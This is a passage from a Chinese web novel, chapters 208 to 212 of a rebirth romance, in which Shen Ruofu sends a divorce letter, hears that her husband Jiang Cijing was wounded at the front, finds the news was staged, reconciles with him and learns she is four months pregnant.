齐国公:“你尽管说。” 沈若芙:“您为何要让四少爷跟着二叔去云南赈灾?” 齐国公就两个儿子,一个已经去了边境打仗,另一个还去到山高路远的地方赈灾,这事换成任何一个做父母的都不会同意。 沈若芙听说,老夫人也很是反对。 齐国公叹了口气:“辞年这孩子,从小就活在他哥哥和他父亲的光芒之下,各方面都显得好像出色又不那么出色。时间一长,他就变得喜欢钻牛角尖,一旦认定一件事,就不会轻易再改变了。” “当然,这也与他被家里人保护得太好有关,他就是从小到大好日子过得太多了,什么都有人在他前面帮他挡着,才会因为一点不顺心而闹得鸡犬不宁,说白了,就是矫情。” “我想,趁着这个机会,让他出去见见真正的民生疾苦,兴许就会突然发现,那些令他痛苦万分的人和事,在生死面前,根本不值得一提。” 沈若芙羞愧地低下头:“……原来您都知道了。” 齐国公语气轻松:“我膝下拢共就两个儿子,又不像以前一样四处在外头打仗,无暇顾及家里人,要是一点都没有察觉,那我这个父亲未免也太失职了。” 沈若芙见齐国公言语间似乎没有要责怪自己的意思,甚至出奇的平静,意外之余想起了前世。 其实前世她与江辞年被“捉奸”后,齐国公在审问她完后,并没有辱骂过她,当时她主要是自己吓唬自己多一些。 “您难道就不生气吗?” 齐国公:“生什么气?辞年以前也不是没有勾搭过有夫之妇,在他眼里,只有他想要的,没有他得不到的。不过他这次着实过分了些,你都成为他大嫂了他还不死心,违背伦理纲常的事,在这个家里是绝对不能有的。” “我安排他去云南,也是为了他哥哥在战场上能够安心。” 沈若芙心中五味杂陈:“那我呢?您是如何看待我的?” “你?”齐国公认真想了想,说:“男人可以有三妻四妾,女人只是在成亲前有过一个相好,不算什么。我找女人的时候,从来只看缘分,不问她们的过去。让人苦恼的点在于,这两个男人恰好是兄弟俩,着实有点尴尬……” 齐国公:“不过你也不是故意的,缘分这种事,谁都说不清,只要你不做出伤害辞镜的事,不做出有害齐国公府的事,我这个做公公没有什么好指摘你的。” 沈若芙眼眶一酸:“可世子爷似乎并不同您这么想……” “是啊。”齐国公长长叹了口气,“辞镜在和你成亲没有接触过别的女人,所以他可能会觉得这样对他不公平。但俗话说的好,将军额上能跑马,宰相肚里能撑船,如果他真的爱你,那他就要自己学着去接受这件事。如果他不愿意接受,那只能说明他不够爱你。” 沈若芙垂下眼眸,盯着自己的手背:“我与世子爷的亲事,本就是一个误会……他如何生气,甚至想休了我,我都能接受……” 齐国公语重心长地:“辞镜如果真的不爱你,他就不会在临走前把这些事告诉我,嘱咐我看好你和他弟弟了。” “你以为辞镜不信任你,生你的气是不爱你,可他恰好是太爱你了才会这样。像我,我同时拥有那么多女人,如果她们其中哪个背着我红杏出墙,我顶多生半天的气,不能再多了。岂会如此痛苦纠结?临上战场仍不得安心?” 第二百零八章 出事 沈若芙不知道该说什么好。 现在,她突然搞不明白江辞镜内心真正的想法,也不愿花费心力去猜测,那除了令她心如刀绞外毫无用处…… 齐国公注视着沈若芙发红的眼圈,无奈道:“辞镜走后,我就想找个机会和你谈谈,想知道你是如何想的。看得出来,这些时日你很不好过……” 沈若芙将目光投向不远处的鸟语花香,回想起了江辞镜第一次带自己到郊外骑马时,感受到那种久违的宁静祥和。 她沉默良久,淡淡道:“……小时候我过得很不好,我一直努力希望自己能过上轻松愉悦的日子,可到头来似乎都只是事与愿违……如果可以,我不想再纠结什么爱与不爱了,我想离这些爱恨情仇远远的,放下一切,一个人去寻找平静的生活。” 齐国公:“如果这真的是你想要的,那我没有什么可说的。只盼着你莫要再做出错误的决定才好。” …… 承安堂。 江老夫人精神恹恹地靠坐在床头,庄妈妈端着药碗站在一旁。 沈若芙跟着丫头进来,瞥见江老夫人憔悴的面色,急匆匆地往床边走去,关切地:“祖母,您怎么突然病了?是吃坏东西还是头风又犯了?” “有点发热罢了,不必担心。”江老夫人握住沈若芙的手,慈爱地望着她,“人上了年纪,偶有个头疼脑热,都在常理之中,倒是你,自从辞镜走后,就没见你笑过,整个人像一朵枯败的花儿。怎么,还没想明白?” 沈若芙一愣:“祖母,您都知道了?” “我是老花眼了,心里却还和明镜似的呢。你和辞镜是我最看重的长孙长媳,你们之间的关系出了问题,我能看不出来?” 江老夫人语重心长地:“今日叫你过来,就是想告诉你,虽然你嫁进来的时间不算长,但你是个什么样的孩子,祖母都看在眼里。不管你接下来做出什么决定,想和离也好,想继续留下来也好,都尽管去做,不必有所顾虑,齐国公府都支持你。” 沈若芙一把扑进江老夫人怀中,泪水夺眶而出。 …… 四月十五这天,彼时距离大军出征已有两个半月,沈若芙写下和离书,托齐国公寄往战场。 沈若芙心知肚明自己此举有很大可能会为国公府惹来圣怒,但齐国公在看过和离书后并未生气,只是再三向沈若芙确定她的心意。 和离书寄出京城后,沈若芙心中宛若落下了一块如大山一般沉重的大石头,浑身轻松。 在正式与江辞镜和离前,沈若芙仍旧是国公府的世子夫人。 原以为在这段时间里,她的处境会变得有些许尴尬,但兴许是江老夫人的叮嘱,家中其他人纵使知道沈若芙要与世子爷和离,依旧对她以礼相待。罗淑燕见她精神不济,主动邀她和陈云瑛外出打猎。 在婶婶和妯娌的教导下,沈若芙的骑射技艺大有长进,甚至敢独自深入深山老林搜寻猎物,能从容应对各种意外,俨然已不是从前那个会被一点风吹草动吓得汗毛竖起的小姑娘。 现下正是一年当中最舒适暖和的日子,沈若芙兴头上来了,几乎日日独自骑着潇竹到郊外狩猎,每次都能满载而归,有时运气好,还能猎得稀有的红狐。 沈若芙猎得了猎物也不吃,像野鸡野兔这些,回来的路上,遇见穷苦人家便顺手送人。像罕见的狐狸或幼鹿,能放则放,受伤太重不能放的,便让小厮带到她的别院里养着。 决心离开齐国公府后,沈若芙发觉自己最舍不得的竟然是潇竹。 虽说潇竹是江辞镜送给她的礼物,但她是因为世子夫人的身份才得到这匹万里挑一的宝马,若是江辞镜不允许她将潇竹带走,她也不会多加争取,只能趁着和离书还未送回来,珍惜与潇竹为数不多的时光。 沈若芙估摸着和离书快送到军营了,便吩咐飞雪和小桃开始着手收拾东西。 到了四月底,东西都差不多收拾妥当了,堆满了东次间,沈若芙却迟迟没有收到齐国公那边的消息。 军国大事在前,江辞镜毕竟是在外打仗,沈若芙再心急,也不能多加催促,只能耐心等待。 没想到刚步入五月的头一天,齐国公就把沈若芙叫到了前院。 起初,沈若芙还以为是和离书送回来了,松了口气之余又有种说不清道不明的酸涩。 到了前院,发觉除了齐国公、王素仪,还有江炎等几个护卫也在后,沈若芙才察觉到了一丝不对劲。 “父亲,您召儿媳来,所为何事?” 齐国公坐在圈椅上,以手掩面,听到儿媳的话,颤颤巍巍地抬起头,用一双写满了心力憔悴的眼,欲言又止地看了沈若芙许久,方把虚夹在指尖的信纸递于她。 沈若芙被那双眼睛一看,心头便不自主地咯噔一下。双腿仿佛灌了铅,沉重得无法再上前一步。 “父亲,发生什么事了?” 沈若芙又问了一遍。 齐国公似是明白此事于她而言也难以承受,轻轻放下信纸,叹了口气,道:“……前线传来消息,辞镜在领兵深入敌营时遭到埋伏,援军虽及时赶到,可辞镜已身中数刀,如今怕是……凶多吉少了……” 沈若芙脑袋里嗡的一声,身形一晃,险些软倒在地。 目光再扫向王素仪与江炎等护卫,个个面带哀痛欲绝之色,顿觉心如刀绞,难以置信,脸上无一丝血色。 “当,当真……” 再开口时,沈若芙的声音都在颤抖。 见惯了生离死别的齐国公没有允许自己失态太久,很快振作精神,向沈若芙解释道:“你们的和离书送到军营时,辞镜正带兵驻扎在前线,我的人不便亲自送到他手中。如今出了这样的意外,还望你能多等待些时日,若辞镜万幸捡回一条命,再令他签了和离书放你离去,若不能……你们二人,也无所谓和不和离了……” 第二百零九章 归来 沈若芙不敢相信自己听到了什么,也不明白分明长子正在面临生死攸关的时刻,身为父亲的齐国公还能如此坦然地对她提起这些无关紧要的话。 沈若芙只觉得自己的心疼得快要碎掉了。 她第一次不管不顾地在齐国公夫妇跟前掉了眼泪,匆匆忙忙地行了退礼,连话都没有解释,便转身疾步离开。 出了前院,沈若芙径直往马棚跑去,骑上潇竹,不顾丫头们的阻拦,扬长而去。 一直策马跑到郊外无人的林子里,沈若芙才放声大哭起来,哭到方圆十里的猎物都被她吓得四下逃散。 潇竹担忧主人,四个蹄子焦躁地在原地打起转来。 沈若芙察觉到身下马儿的不安,翻身下了马背,颓废地抱住马脖子,泪涕横流。 “你也感觉到他出事了对不对?” “你第一个认的主就是他,肯定能感觉到他出事了对不对?” 潇竹低下马脖子吁吁地叫了两声。 “你说,江辞镜……他为什么要这样对我?” “他要是真的回不来了,岂不是要陷我于不仁不义之地?难道这就是他报复我的办法,让我像上辈子一样给他守寡?” “凭什么呀?我才不要给他守寡,我才不要当两辈子的寡妇!” “江辞镜,你最好给我活着回来,否则我就算背负一辈子的骂名,也要离开你!你听见了没有!” 沈若芙紧抓着缰绳,趴在马儿身上崩溃地痛哭着,哭得上气不接下气。 潇竹被主人低落的情绪感染,努力用马脖子去蹭主人的身体,可除此之外,它什么都做不了。 …… 沈若芙面如死灰地牵着潇竹在郊外漫无目的地闲逛,直到夕阳西下,才被齐国公派来的人找回去。 齐国公和王素仪决定暂且向江老夫人瞒下此事,以免老人家承受不住,待江辞镜情况稳定,万不得已之时再告诉老人家。 沈若芙回想起上一世白发人送黑发人后形容枯槁的江老夫人,觉得早说晚说也没有什么分别,只是她身为晚辈,还是要遵从长辈的意见。 三天后,沈若芙强拖着一具行尸走肉去向江老夫人请安,借口要回孟家陪伴外祖母。 她自认为功力不够深厚,实在无法在得知江辞镜重蹈上一世的覆辙后,仍旧像无事人一样生活着。担心时间长了,会让老夫人看出异样来。 江老夫人知道沈若芙孝顺,并未多想便答应了。 沈若芙回到外祖家,终于可以肆无忌惮的悲痛,无需担心被旁人察觉,她先是抱着外祖母大哭了一场。 外祖母安慰她,战场上刀剑无眼,受伤是难免的,一切都尚未有定数,何不乐观一些?江辞镜如此英明神武,定能化险为夷。 沈若芙无法告诉外祖母,上一世的江辞镜经历了怎样的死劫,老天爷从来都不曾眷顾过他这位一心为民的大将军。 直到这一刻,沈若芙才恍然发觉自己远比想象中的爱江辞镜。 也许很多事就是当局者迷,旁观者清,这也就是为何当初齐国公接过和离书时会再三向她确定她的心意。 如果再给沈若芙一次机会,她一定不会送出那封和离书。如今她只庆幸江辞镜在战场上倒下前,没有被她再伤一次心。 “外祖母,我好想他……”沈若芙趴在外祖母的肩头,几乎流干了眼泪。 外祖母温柔地摸着沈若芙的发,安慰道:“那就去找点别的事做,让自己忙起来,忙到没力气想。” 沈若芙开始整日整日地骑着潇竹在外头游荡,把京城周围一圈的山水和县衙乡野全都跑了个遍,从晨光熹微跑到日暮西山,把人和马都累到虚脱。 可每当夜深人静,她依旧控制不住想起江辞镜,想起他们最后一次争吵时的场景。 就这么浑浑噩噩地过了将近一个月,某天沈若芙沿着官道一路北上,竟一口气跑到了居庸关。当她停下来遥望山峦连绵,发觉周围皆是陌生的景象,才反应过来自己离京城已有多远。 此时已是日落时分,星光点点在火烧云层中时隐时现,劳累了一天的沈若芙理智稍稍回笼。她慢悠悠地将马行至驿站前停靠,给潇竹喂了些水和干粮,一抬头,忽然逆着光看见了江辞镜的身影。 她以为自己累出了幻觉,没有多想,只看了一眼便垂下眼帘,继续喂完最后一口水,挂好水袋,翻身上马,准备调转马头回城。 可不知为何,沈若芙一挥马鞭,却不由自主地往反方向的一片林子跑去。 跑着跑着,她听见身后传来一阵马蹄声,意识到有人在后头追赶着她,却不敢回头,只一味往前跑。 直到那通体黑色的矫健身姿出现在潇竹的右侧,四蹄生风,宛若战神降临,潇竹“吁”地一声,刹住前蹄,迫使沈若芙停了下来。 沈若芙一边拉紧缰绳控制马儿,视线一边从那匹熟悉的黑马身上缓缓上移,落在骑在马背上的男人身上。 当她意识到眼前的男人不是她的幻觉亦或者鬼魂,而是真真切切的大活人时,沈若芙立马下了马,丢下马绳,徒步往回走。 “芙儿!” 傍晚凉意袭来,伴随着阵阵凉风从耳边刮过的还有那一声久违的“阿儿”。 沈若芙停下脚步,回过身,眉目间皆是不解。 江辞镜跃下马背,缓步朝沈若芙行去。 他穿着一身银白色的盔甲,俊朗的脸庞因长时间的风吹日晒而粗糙了些许,非但依旧难掩风姿,看上去比甚至从前更显气势凛然。 “你不是……你不是应该躺在军营里重伤不醒吗?” 江辞镜一步步向她靠近:“我这么厉害的人,怎么会重伤不醒?” 沈若芙怔愣片刻,才反应过来,怒道:“你骗我!” 江辞镜:“我若不让父亲骗你,还不等我回来,你就丢下和离书跑了,” 沈若芙不敢相信地看着眼前这个在自己梦里出现过无数次的男人,他就完好无损地站在她面前,可她什么话都说不出来,只一味的重复着“骗子”。 江辞镜深邃的眼在看见沈若芙的那一刻起,就再也没有离开过:“芙儿,你瘦了好些。潇竹也是。” 第二百一十章 和好 这短短的一句话,瞬间将沈若芙心中的困惑化为了无尽的酸涩。 她抿紧下唇,努力将眼泪憋回去,却还是没能阻止泪水如潮水般奔涌而出。 “……我瘦与不瘦,与你何干?” “至于潇竹,它是你送我的马,你要是嫌我养不好它,就拿回去好了……” 沈若芙哽咽着往后退,不想叫江辞镜看见自己泪流满面的狼狈。 然而她刚往后退了一步,江辞镜便冲上来紧紧抱住了她。 “你不是不在乎我,要跟我和离吗?瞧瞧我不在的这些日子,你把自己瘦成什么样了?这一抱全是硌人的骨头。” 江辞镜又是心疼又是生气。 “嫌硌人就别抱,我让你抱了?” 被戳穿心事的沈若芙恼羞成怒地扭动身体想要挣脱江辞镜。 只是孔武有力的武将轻而易举就能将沈若芙禁锢在怀中动弹不得,甚至还能空出一只手捏住她的下巴,强迫她转过脸来直视他。 沈若芙放弃挣扎,闭上眼不肯看他。 江辞镜盯着她湿漉漉的小脸,无奈道:“还在赌气?” 沈若芙:“没赌气。” 江辞镜:“那为何不肯看我?” 沈若芙冷哼:“不稀罕。” 江辞镜:“请问多好命的人才能得到沈大小姐的稀罕?” 沈若芙:“曾经有一个人也许能,可他太不识好歹,一声不吭就抛下我走了,我便暗暗发誓,往后再没人能得到了。” 江辞镜忽然笑了。 沈若芙听见江辞镜的笑声,不解地睁开一条缝,就见男人的吻落了下来,先是眼帘,再是眉心,一直往下,如棉花般柔软。 沈若芙心中那道防线顷刻间垮塌一地。 江辞镜马不停蹄地赶回来,一路上都在想,等见到这个女人,定要同她新账旧账一起算了。 可当发现她变得憔悴不堪,连带着爱马都消瘦了不少,发现两人分开的这段时日,原来不是只有他一个人在饱受折磨,江辞镜顿时什么都不想说了,只想把沈若芙抱在怀里好好亲一亲。 “傻瓜,无论发生什么,我都不会一声不吭地抛下你。” 沈若芙愣了一下,哽咽着反驳:“你才傻瓜,你那么多天不理我,对我的冷脸,生我的气,还要我对你有信心?谁知道你心里在想什么……” 谁知道他是不是恨极了她,再也不想见到她。 江辞镜:“那我现在回来找你,你可知道了?” “我不知道……”沈若芙偏过头,眼泪哗哗地往下流,眼神委屈又倔强。 “江辞镜,我从来不后悔自己和江辞年好过,人总要经历过才知道什么是对什么是错。可你的态度,让我觉得我犯了不可饶恕的错误。” “我不想去猜想你心里到底存了多少芥蒂,去猜测这些过去是否就像一根根刺扎在你心里。我做了就是做了,如果你不能接受,我们就分开,我也不要你委屈求全,一点委屈和介意都不要有。别等到将来有一天我们感情不在了,再来翻旧账,那样我承受不起。” 江辞镜认真听沈若芙抽噎着讲完了所有的话,问:“所以,这就是你决定要跟我和离的理由?” 沈若芙坚定地点了点头。 江辞镜:“那今天我也明白地告诉你,你写的那封和离书,我已经撕碎了扔在敌方营地的某个山沟沟里了,就是神仙来了也别想找到它。” 沈若芙泪眼朦胧地望着他。 江辞镜抓着她的双臂,郑重地说:“我是在意你和江辞年的过去,介意你曾经深爱过他,只要一想到,我不是你唯一爱过的男人,我心里就不舒服……但我不会为此放手。” “沈若芙,从今往后,我要你加倍对我好,你从前是如何对江辞年的,你和他在一起的一年里,主动亲过他多少回,都为他做过什么,你都好好回想回想,然后加倍的给我还回来,明白了吗?” 沈若芙沉默良久,摇摇头:“感情不是用几个吻来衡量的,十五岁时表达喜欢一个人的方法,和十七岁也不尽相同。若你自己想不通,就算我做得再多,也无济于事。” 江辞镜:“你什么都不愿意做,怎知一定无济于事?” “沈若芙,你知道我最怨你什么吗?我最怨你永远不会主动说你想要我。” “一直以来,你明知道我和江辞年不同,却把你在他那受到的伤害带到我身上来,如果你能不那么吝啬你的喜欢,让我在面对江辞年的挑衅时有足够的底气,又何尝怕我想不通。” 沈若芙眼泛泪光,双唇颤抖着吐露出几个字:“我想要你……” 江辞镜把额头抵在沈若芙的眉心,直视她的双眼:“再说一遍,你想要谁?” 沈若芙心潮涌动,抬起双臂勾住他的脖颈,又重复了一遍:“江辞镜,我想要你。这辈子我都只想要你。” 话音刚落,江辞镜便低下头用力堵住了她的唇……霎那间,沈若芙感觉眼前的天地都颠倒了过来,只剩下漫长的喘息与无尽的炽热。 …… “疼。” “哪疼?” 江辞镜坐在床沿,刚披上月白色的寝衣,就听见身后传来沈若芙的轻哼。 过去的三个时辰里,江辞镜数不清沈若芙喊了多少次“疼”,尤其一开始的时候。只是每回都被他一句“你欠我的”给堵了回去。 渐渐的,那些疼便化为了曼妙的嗓音。 可这一次的“疼”,江辞镜明显听出来与先前的疼有所不同,于是连忙转头去看她。 沈若芙侧躺在床榻上,蜷缩着身体,身上只盖了一层薄薄的寝被。她秀眉微蹙,一只手捂在小腹上,脸色有些苍白。 “肚子疼。” 江辞镜握住她的手,担忧道:“是不是方才……我让吴妈妈请大夫过来看看?” “不行。”沈若芙想也不想就拒绝了,“为这事请大夫,多丢人呀。再说了,大夫来了你怎么和他说?” 江辞镜规劝道:“是身体重要还是面子重要?人大夫什么没见过?” 沈若芙撇了撇嘴:“不行就是不行。好了,我兴许只是太久没吃东西,休息一会儿就好了。”说完,怕江辞镜不死心,还警告似的看了他一眼。 第二百一十一章 有孕 江辞镜知道妻子脸皮薄,多点花样都要气恼,再想到四个月不见,她几乎瘦了一大圈,平日里定没好好吃饭好好休息,有个肠胃不适也在意料之中,无奈之下便不再勉强。 “那你想吃点什么,我让你的丫头给你做。” 沈若芙感觉心口莫名的恶心,道:“没什么胃口,煮点清淡的粥吧。” “好。”江辞镜摸了摸沈若芙汗湿的发,忽然想到什么,“芙儿,你是不是……” 沈若芙正垂眼忍耐着小腹传来的疼痛,见跟前的男人突然没声儿了,疑惑地问:“是什么?” “没什么。”江辞镜收回手,也收起了那点疑虑。 都四个月了,怎么可能? 江辞镜转过头站起身,沈若芙视线上移,竟瞧见他的右肩背溢出了好大一团血,心下一惊,急忙裹着被子从床上坐起来,一把拉住他的手。 “等等,你的伤口裂开了。” 江辞镜坐回床上,仍由沈若芙脱下他的衣裳。 一道缝了有十七针约莫四寸长的伤口,经过两人这一番折腾,裂开了将近一半,血肉模糊的,光是看着都觉得疼。 “都说了,让你别那么使劲,偏不听。这下好了吧?” 江辞镜微笑道:“没事,不疼的。” 其实他早察觉到它裂开了,只是那时正好到了关键时刻,哪怕血流成河,江辞镜也舍不得停下来。 “那一会儿让大夫给你多缝几针,反正你皮糙肉厚的,也不怕疼。”沈若芙玩笑着说,却低下头在他的伤口上轻轻吹了吹。 再抬起头时,正对上江辞镜含着温柔笑意的眼。沈若芙面上一羞,帮他把衣服重新披上。 “好了,快去请大夫来处理伤口吧。” 沈若芙抱着被褥慢慢蜷缩回床上,还不忘叮嘱: “记得,若是大夫问起,你就说你不小心撞到了衣柜,大半夜的,免得人胡思乱想。” 江辞镜没有提醒沈若芙她这一夜在他身上留下了多少抓痕,与其费心找借口,不如直接让人把嘴闭牢了。 他顺从地应了声“好”,起身走到门边,回头往床上看了一眼,就见沈若芙捂着小腹微微皱起了眉心。 江辞镜出去后不久,飞雪和小桃就进来了,两个丫头脸上都红红的。 沈若芙问:“什么事这么高兴?一个两个跟吃了蜜似的。” 飞雪和小桃对视一眼,眼眸亮晶晶的。小桃道:“奴婢们是在为夫人高兴,夫人和世子爷终于重修旧好了,可不是天大的喜事。” 沈若芙耳根一热:“不许油嘴滑舌。去准备热水,伺候我沐浴吧。” 不论是身上的酸痛,还是小腹的不适感,都令沈若芙不想动弹。只是眼下已入夏,天气趋于炎热,又弄得浑身是汗,不起来收拾干净了只会更加不舒服。 沐浴完,沈若芙穿好衣裳,喝了吴妈妈端来的半碗百合莲子粥,便重新躺下了。 没过多久,江辞镜回来了。 他走到床旁,弯腰看沈若芙:“收拾妥当了?” 沈若芙点点头。 江辞镜小心翼翼地问:“那我让大夫进来?” 沈若芙一愣,没好气地瞪他。 江辞镜温柔地拉住沈若芙的手,好声好气地:“来都来了,就让大夫把个脉。万一真有什么毛病,你夫君我岂不是要愧疚而死?” 沈若芙也分不清江辞镜是在咒她还是咒自己,想了想,还是点了头。 江辞镜先把床账放下,才示意丫头去把罗大夫请进来。 罗大夫走进来,先和江辞镜沈若芙行过礼,坐到床旁的圆凳上,凝神静气地把了将近一刻钟的脉。 沈若芙从来没被大夫诊过这么长时间的脉,心口不免犯起怵来,问道:“罗大夫,我的身体状况如何?” 罗大夫收回手,起身拱手道:“恭喜夫人,恭喜世子爷,夫人有孕了。且从脉象上看,应当已经有四月余了。” 江辞镜一时间竟不知是惊是喜。 沈若芙亦大吃一惊,直接掀开帘子的一角:“这怎么可能,我上个月才让大夫诊过脉,且来了月事……” 罗大夫缓缓道:“夫人先不必惊慌。寻常女子有孕,约莫头一两个月便能确定个八九成,只是夫人近些个月身体过于虚弱,才会诊不出来。” “至于夫人所说的月事,其实女子来月事,未必就说明一定没有怀孕,各人的体质不同,总有例外的情况。夫人不妨仔细回想一番,夫人这些个月的月事,是否与从前不大相同,非但毫无规律,且时而量多,时而量少,淅淅沥沥的?” 沈若芙想了想说:“好像是这样……” 罗大夫:“夫人以为的月事,可能是小产的前兆。只是这孩子命大,才最终留了下来。” 江辞镜焦急道:“小产?那孩子现在……” 罗大夫看向江辞镜:“如今来看,夫人这一胎的脉象依旧不太稳固。不过夫人也不必紧张,您年纪尚轻,又不曾生过什么大病,只要悉心调理,总会好转的。” 沈若芙明白大夫的意思,但事已至此,沈若芙也只能劝自己放平心态,顺其自然。 “多谢罗大夫。” 江辞镜让丫头带罗大夫下去开药方,关上门窗,走到床边坐下,看着沈若芙欲言又止。 沈若芙无奈道:“想说什么就说,别光皱着个眉头。” 江辞镜既舍不得对她说重话,又忍不住觉得此事过于荒唐,想了又想,道:“你怀孕四个月了,自己都不知道?” 沈若芙拉过江辞镜的大手放在自己肚子上,无辜地:“我又没怀过孕,怎么知道都四个月了它一点份量都不长呢?你摸摸,这里头像是有个孩子的样子吗?” 江辞镜仔细摸了摸。不知道是不是他的错觉,感觉还是能摸得出来一点的。 沈若芙瘦了很多,瘦到肋骨都隐隐可见,但奇怪的是小腹的位置却有点隆起的姿态,只是若没有大夫的话,压根不会往那个方向上想。 江辞镜收回手,把沈若芙抱到怀里,柔声道: “接下来这段时间,我就在家陪你养胎,哪里都不去了,我们努力把这孩子留下来,若是实在有缘无分,你也不必太过伤心,大夫说了,我们还年轻,还会有孩子的。” 第二百一十二章 你嫂嫂有了身孕 沈若芙感觉江辞镜整个人都紧绷着,安抚似的拍了拍他的手背:“放心好了,你想啊,这四个月里,我每天揣着这个孩子,又是在外头骑马又是打猎,还不好好吃饭,还差点小产,都没能吓跑它,说明它这辈子就认定我们做它爹娘了,一定不会有事的。” 江辞镜心底的惶恐被妻子这番插科打诨的话驱散了,笑着亲了亲她的额角。 夜深了,江辞镜喂沈若芙喝过药,两个人便睡下了。 劳累了一天,又还有一个时辰就天亮了,两个人相拥着躺在被窝里,却一点睡意都没有。 “夫君,你喜欢男孩还是女孩?”沈若芙忍不住问。 江辞镜望着那双亮晶晶的圆润眼眸,浅笑道:“都好,只要是你生的,什么都好。” 沈若芙琢磨道:“不管是男孩还是女孩,这肯定是个聪明孩子。” 江辞镜疑惑:“何出此言?” 沈若芙:“这孩子投到个富贵人家,就黏着不走了,怎么不算聪明呢?” 江辞镜被她逗笑了:“嗯,说的有道理。” 锦明堂大半夜忽然请了罗大夫入府,难免惊动了其他几房的人。 江辞镜和沈若芙决定暂且瞒下有孕的事,待胎像稳固,再告诉江老夫人,免得老人家担忧或白高兴一场。 既然决定瞒着,请罗大夫的事,便只能由江辞镜一个人抗下了。 自打白天长孙回来,江老夫人就密切关注着长孙和孙媳的一举一动。 傍晚听说夫妻俩和和美美地回了房,才松了口气,心想着小年轻床头吵架床尾合,和离是不可能和离的了。结果深夜里就闹出请大夫的事。 问了孙子,说是沐浴时不小心滑了一跤,伤口撞到桌角开裂,这才请了大夫。 江老夫人人是老了,脑子却不糊涂。 她孙子长得人高马大的,要能在净室里把自己摔成这样,那土默特部的首领都要从地府里爬出来喊冤。 江老夫人心里猜想,小夫妻回屋后肯定是又吵架了,长孙情绪失控才会导致出意外。 只是江老夫人私下拉着长孙问了又问,江辞镜都坚称自己和沈若芙安好无事,并对祖母怀疑他俩是不是发生了肢体冲突表示吃惊。 江老夫人问不出话,只得作罢。 许是吃好喝好,又心情舒畅,堪堪过了半个月,沈若芙的肚子便以猝不及防的速度开始显怀了。 没等她和江辞镜商量好日子一起去给老人家报喜,某天突然发觉不对劲的七少爷江辞柏便盯着她的肚子惊讶道:“大堂嫂,你什么时候怀孕的?” 此话一出,厅堂内正在闲话的众人不约而同地将目光投向了沈若芙。 早已对此心知肚明的俞秀兰连忙一把捂住小儿子的嘴,尴尬地朝沈若芙笑笑。 江老夫人扶着庄妈妈的手从座位上站起来,缓缓朝沈若芙走去,一脸不可置信地盯着她的肚子看了又看,确定不是小孩子童言无忌,是自己老花眼了,问:“你有身孕了?几个月了?怎么不告诉祖母呢?” 沈若芙起身道:“回祖母,已经四个多月了,世子爷回来那天才请了罗大夫诊出来的。先前也怪我自己粗心,没有留意。因为大夫说胎像不稳,不想让您担忧,才没有第一时间告诉您。还望您能谅解。” “原来如此。”江老夫人恍然大悟。 四个月才诊出来,的确是有些太粗心了,这要放在哪个人家里做媳妇做得这般粗枝大叶,都得叫婆婆劈头盖脸的说一顿。 不过江老夫人不是刻薄之人,牵起沈若芙的手,笑着说:“孩子平平安安的就好,辞镜老大不小了,也该有个孩子了。” 众人纷纷起身同沈若芙贺喜。 眼见再过五个多月就能抱上曾孙,江老夫人一整日都高兴地合不拢嘴,吩咐管事给全府的奴仆们分了赏赐,让大家伙都沾沾喜气。 再说江辞年,他随江二爷到云南赈灾结束后,便独自跑去贵州游山玩水,待回到京城时,已是七月酷暑。 高原地区光照强烈,这一趟奔波下来,江辞年直接从一个玉面公子哥黑成了半块银丝炭,踏进家门时被几个弟弟团团围住嘲笑了好一会儿。 不过江辞年并不在意自己黑了的事实,他坚信自己天生丽质迟早能把肤色养回来,回屋洗了把脸换了身衣裳,就往锦明堂去了。 飞雪在月门碰见江辞年,以为是哪个误闯的男客,吓了一跳,仔细一瞧,发现是许久不见的江四少爷,又吓了一跳,心里一边犯嘀咕,一边上前同他行礼。 江辞年问:“我大哥和大嫂可在?” 飞雪忐忑地道:“回四少爷,世子爷和世子夫人在园子里赏花呢。” 江辞年“嗯”了一声:“那正好,你去给我倒杯茶来,我也过去一同赏赏。” 说罢,便在飞雪震惊与难以理解的目光中,大摇大摆地走了进去。 飞雪连忙跟上江辞年的脚步,在他踏入园子时,越过他,疾步走到世子爷和世子夫人跟前通禀。 “世子爷,夫人,四少爷过来了。” 晒成银丝炭的江辞年比面如冠玉的江辞年更加引人注目,不必飞雪提醒,沈若芙和江辞镜便注意到了他的到来。 沈若芙放下修剪到一半的花枝,十分平静地看向他。时隔半年,沈若芙已不再会为江辞年的出现而惊慌失措。 从走进院子起,江辞年就盯着沈若芙高高隆起的肚子,短短十来步的距离,他却走了很久很久,最后还是江辞镜先开了口。 “回来了。” 江辞年终于将目光从沈若芙的肚子上收回,恭敬地同他们二人行礼:“大哥大嫂,弟弟不在的这段时日,家中一切可还安好?” “都挺好的,北边打了胜仗,你嫂嫂还有了身孕……”江辞镜握了握沈若芙的手,淡然的语气中带了几分炫耀的意味。 江辞年定定地看了沈若芙许久,方不咸不淡地道:“双喜临门,真是恭喜大哥和嫂嫂了。” 江辞镜接着道:“你一出去就是大半年,这次回来,可要好好收心,找点实事做,不可再整日无所事事了。” 江辞年习惯性的反驳:“大哥忘了,我年初才去了云南赈灾,要说玩,我拢共就玩了三个多月。” “三个月还不算多?”江辞镜严肃道,“好了,赶紧去见你祖母和父亲,和他们报个平安吧。” 江辞年走后,沈若芙疑惑地问:“你怎么知道他先来的我们这?” 江辞镜一边帮妻子整理要用的花枝,一边笑着说:“我还能不了解他的性子?他听说你怀孕了,不先来看一眼哪能死心?” 沈若芙不动声色地观察江辞镜,发现如今他的脸上早已没了先前那种怒意与醋意横飞的场景,于是试探地问: “那你觉得,他死心了吗?” 江辞镜道:“也许吧,他再怎么执迷不悟,也只是一个十几岁的少年,出去半年回来,该有点长进了。” …… 次日早上,江辞镜去官署后,沈若芙带着丫头去给江老夫人请安,刚离开锦明堂不远,就瞧见江辞年独自一人倚靠在廊下的柱子上,闭眼假寐,显然是在这守株待兔。 沈若芙怀孕后,江辞镜就把江炎拨给了她。有了江炎,沈若芙也不怕江辞年乱来了,主动走上前同他打招呼。 “四弟怎么在这儿?” 江辞年睁开眼,笑着看向沈若芙:“自然是来看望嫂嫂,时隔半年不见,嫂嫂的气色愈发的好了。” 就像一颗莹润的珍珠,散发着璀璨夺目的光泽。大哥真的把她养得很好……江辞年心里忽然有些不知滋味。 此话一出,几个丫头和江炎的脸色不由一变,纷纷警惕起来。 沈若芙却仍笑得云淡风轻。她能感觉得出来,半年过去,江辞年的确如江辞镜所说,已有所改变。 从前他说类似的话时,总隐隐带着一股侵犯的意味,让人浑身不舒服,而今只是纯粹的调笑,甚至是在试图让气氛变得轻松愉悦。 